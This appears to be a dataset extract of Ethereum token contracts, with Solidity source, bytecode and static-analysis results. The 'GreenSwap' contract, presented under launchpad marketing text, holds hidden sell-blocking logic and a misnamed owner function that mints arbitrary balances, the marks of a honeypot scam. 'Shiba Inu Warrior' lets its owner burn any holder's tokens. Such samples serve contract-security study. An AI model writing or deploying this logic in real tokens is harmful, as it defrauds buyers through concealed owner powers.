raise funds via LP’s. It also leverages off the GreenSwap audience to keep on supporting this projects through to Market Creation. The project onboarding workflow will be automated in future iterations to allow for GRNS Token holders to play an important role in fielding the right projects to launch on the GRNSstarter Launchpad. We believe that this unique feature is a real key difference that sets us apart from other launchpads out there in the Crypto-sphere. At GRNSstarter, we will offer an onboarding experience like no other for projects and assist in the nurturing stages of their listing and continue to offer that support mechanism through to market creation on GreenSwap. What’s in it for GRNS Token holders? GRNS Token holders will not only be able to take a role in the governance of GreenSwap DEX, but also play an integral part of fielding ONLY THE BEST projects onto the GRNSstarter Launchpad. How to contribute to Projects that are launching on GRNSstarter… Every Project will feature an allocation and will launch over two Sales Stages. To participate in the launchpad sales stages, contributors must hold a minimum of 1000 GRNS Tokens to be whitelisted. Our model ensures that anyone who whitelists in the specified time *launch window* will receive a token allocation on GRNSstarter. How does an individual join a GRNSstarter Launch Pad Event? Firstly it is a requirement that prospective contributors hold GRNS Tokens. Another value add of holding GRNS Tokens is that holders/stokers appreciate a solid 12% APY staking reward that is paid monthly. GRNSstarter Tier Levels are influenced by SpaceX Launch Vehicle Names Each Fundraising Event will feature Two Sales Stages The first sales stage, dubbed the “Initial Allocation Stage” will run for 24 hours and contributors must purchase the token allocation based on their tier level during this window. The second sales stage, dubbed the “Final Stage” will offer any unsold tokens from the first stage and run until sold out. Tier levels will be able to purchase an additional allocation based on their tier levels criteria. */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract GreenSwap { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820f81491e2fdc12bb3f9b88479f490f69e2efea53369723573aedca041ea34db1764736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
1,742
0xae902ef4284a9dcec090023391e03ce6fdd8ca9b
/** *Submitted for verification at Etherscan.io on 2021-08-21 */ pragma solidity ^0.6.10; // SPDX-License-Identifier: UNLICENSED /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor () public { _name = 'Shiba Inu Warrior'; _symbol = 'WARRIOR🗡'; _decimals = 18; } /** * @return the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev Total number of tokens in existence */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view override returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view override returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public virtual override returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public virtual override returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _init(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: Token-contracts/ERC20.sol contract ShibaInuWarrior is ERC20, Ownable { constructor () public ERC20 () { _init(msg.sender,1000000000000000e18); } /** * @dev Burns token balance in "account" and decrease totalsupply of token * Can only be called by the current owner. */ function burn(address account, uint256 value) public onlyOwner { _burn(account, value); } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146102d9578063a9059cbb14610305578063dd62ed3e14610331578063f2fde38b1461035f576100f5565b8063715018a6146102775780638da5cb5b1461028157806395d89b41146102a55780639dc29fac146102ad576100f5565b806323b872dd116100d357806323b872dd146101d1578063313ce56714610207578063395093511461022557806370a0823114610251576100f5565b806306fdde03146100fa578063095ea7b31461017757806318160ddd146101b7575b600080fd5b610102610385565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561018d57600080fd5b506001600160a01b03813516906020013561041b565b604080519115158252519081900360200190f35b6101bf610497565b60408051918252519081900360200190f35b6101a3600480360360608110156101e757600080fd5b506001600160a01b0381358116916020810135909116906040013561049d565b61020f610560565b6040805160ff9092168252519081900360200190f35b6101a36004803603604081101561023b57600080fd5b506001600160a01b038135169060200135610569565b6101bf6004803603602081101561026757600080fd5b50356001600160a01b0316610611565b61027f61062c565b005b6102896106eb565b604080516001600160a01b039092168252519081900360200190f35b6101026106ff565b61027f600480360360408110156102c357600080fd5b506001600160a01b038135169060200135610760565b6101a3600480360360408110156102ef57600080fd5b506001600160a01b0381351690602001356107dd565b6101a36004803603604081101561031b57600080fd5b506001600160a01b038135169060200135610820565b6101bf6004803603604081101561034757600080fd5b506001600160a01b0381358116916020013516610836565b61027f6004803603602081101561037557600080fd5b50356001600160a01b0316610861565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104115780601f106103e657610100808354040283529160200191610411565b820191906000526020600020905b8154815290600101906020018083116103f457829003601f168201915b5050505050905090565b60006001600160a01b03831661043057600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b03831660009081526001602090815260408083203384529091528120546104cb9083610995565b6001600160a01b03851660009081526001602090815260408083203384529091529020556104fa8484846109aa565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b03831661057e57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ac908361097c565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6001600160a01b031660009081526020819052604090205490565b610634610a69565b60055461010090046001600160a01b0390811691161461069b576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104115780601f106103e657610100808354040283529160200191610411565b610768610a69565b60055461010090046001600160a01b039081169116146107cf576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6107d98282610a6d565b5050565b60006001600160a01b0383166107f257600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ac9083610995565b600061082d3384846109aa565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610869610a69565b60055461010090046001600160a01b039081169116146108d0576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166109155760405162461bcd60e51b8152600401808060200182810382526026815260200180610b096026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561098e57600080fd5b9392505050565b6000828211156109a457600080fd5b50900390565b6001600160a01b0382166109bd57600080fd5b6001600160a01b0383166000908152602081905260409020546109e09082610995565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a0f908261097c565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b3390565b6001600160a01b038216610a8057600080fd5b600254610a8d9082610995565b6002556001600160a01b038216600090815260208190526040902054610ab39082610995565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212209d8cb36bb54ba5f1fdc779bdd13cfc4fa5104b314affd9b40ab4661468b10b2f64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,743
0x331c97189a8b25c8acabf0af2382cdd8eae4d88a
